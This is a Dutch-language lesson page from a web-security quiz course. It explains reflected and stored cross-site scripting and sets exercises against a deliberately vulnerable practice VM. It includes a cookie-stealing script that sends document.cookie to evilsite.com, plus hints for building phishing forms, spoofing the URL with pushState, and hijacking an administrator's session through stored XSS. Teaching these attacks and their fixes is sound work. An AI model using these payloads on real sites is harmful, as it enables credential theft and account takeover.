You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
Security-Quiz/xss.html

244 lines
12 KiB

<style>
.screenshot {
box-shadow: 0 0 15px #888;
}
figure {
float: right;
width: 30%;
}
figure img {}
figcaption {
margin-top: 10px;
font-size: smaller;
color: gray;
text-align: center;
}
</style>
<h1>Cross-site Scripting</h1>
<figure>
<img src="/static/img/rabobank.png" class="screenshot">
<figcaption>Iemand heeft
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
</figure>
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de &lt;script&gt;
tag kan toevoegen is er sprake van een XSS aanval.</p>
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
<h3>Reflected</h3>
<figure>
<img class="screenshot" src="/static/img/zoekterm.png">
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
</figure>
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
op de webpagina zelf.</p>
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
The perfect crime!</p>
<h3>Stored</h3>
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
90% van alle websites). Als de site niet goed beveiligd is kan je in de database &lt;script&gt; tags met Javascript opslaan
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
<h3>Aanvallen</h3>
<h4>HTML toevoegen</h4>
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan
een &lt;form&gt; die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
<h4>Javascript toevoegen</h4>
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele &lt;script&gt; tag toe te
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
<p>
<code>&lt;script&gt;document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;&lt;/script&gt;</code>
</p>
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
<h3>Countermeasures</h3>
<p>De belangrijkste regel bij websecurity is:
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
je weer weergeeft op de pagina te
<b>escapen</b>.</p>
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities.
<code>&quot;</code> wordt dan bijvoorbeeld
<code>&amp;quot;</code> en
<code>&lt;</code> wordt
<code>&amp;lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
<code>&lt;script&gt;<b>gebruikersinvoer hier</b>&lt;/script&gt;</p></code>
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
bepaalde waarde te zetten.</p>
<h1>Opdrachten</h1>
<h2>Bank</h2>
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
nog steeds niet veilig van hun beveiligingsproblemen.</p>
<p>Ga naar de
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
</p>
<div class="question">
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
</div>
<div class="question">
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere
server gestuurd.</span>
</div>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
</div>
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
<p class="hint">
<strong>Hint:</strong> Zoek eens naar
<code>window.history.pushState</code>.</p>
<div class="question">
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina
komt te staan.</span>
</div>
<h2>Webshop</h2>
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
<span class="website">"Webshop (replace)"</span>.</p>
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
<p class="hint">
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
<p class="hint">
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
<p class="hint">
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
<p class="hint">
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
<p class="hint">
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
gebruiken moet je de url encoded versie gebruiken: %2B</p>
<div class="question">
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
</div>
<p class="hint">
<strong>Hint:</strong> Op
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
</p>
<div class="question">
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (&lt;&gt;"&amp;) zijn nu geëscapet. Maar het
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd.
Let goed op de quotejes.</span>
</div>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2.
PHP aanpassen (lees documentatie op
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
</div>
<h2>Nieuws</h2>
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
</p>
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen
server sturen om de opdracht te kunnen maken. Je kunt hiervoor
<a href="https://requestb.in">Requestbin</a> gebruiken</p>
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
<div class="question">
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
</div>
<h2>Wereldwijs</h2>
<p>Ga naar de
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
<p>Let op: In Firefox werkt deze hack niet</p>
<p class="hint">
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
<p class="hint">
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('&lt;div&gt;').
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
<div class="question">
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
</div>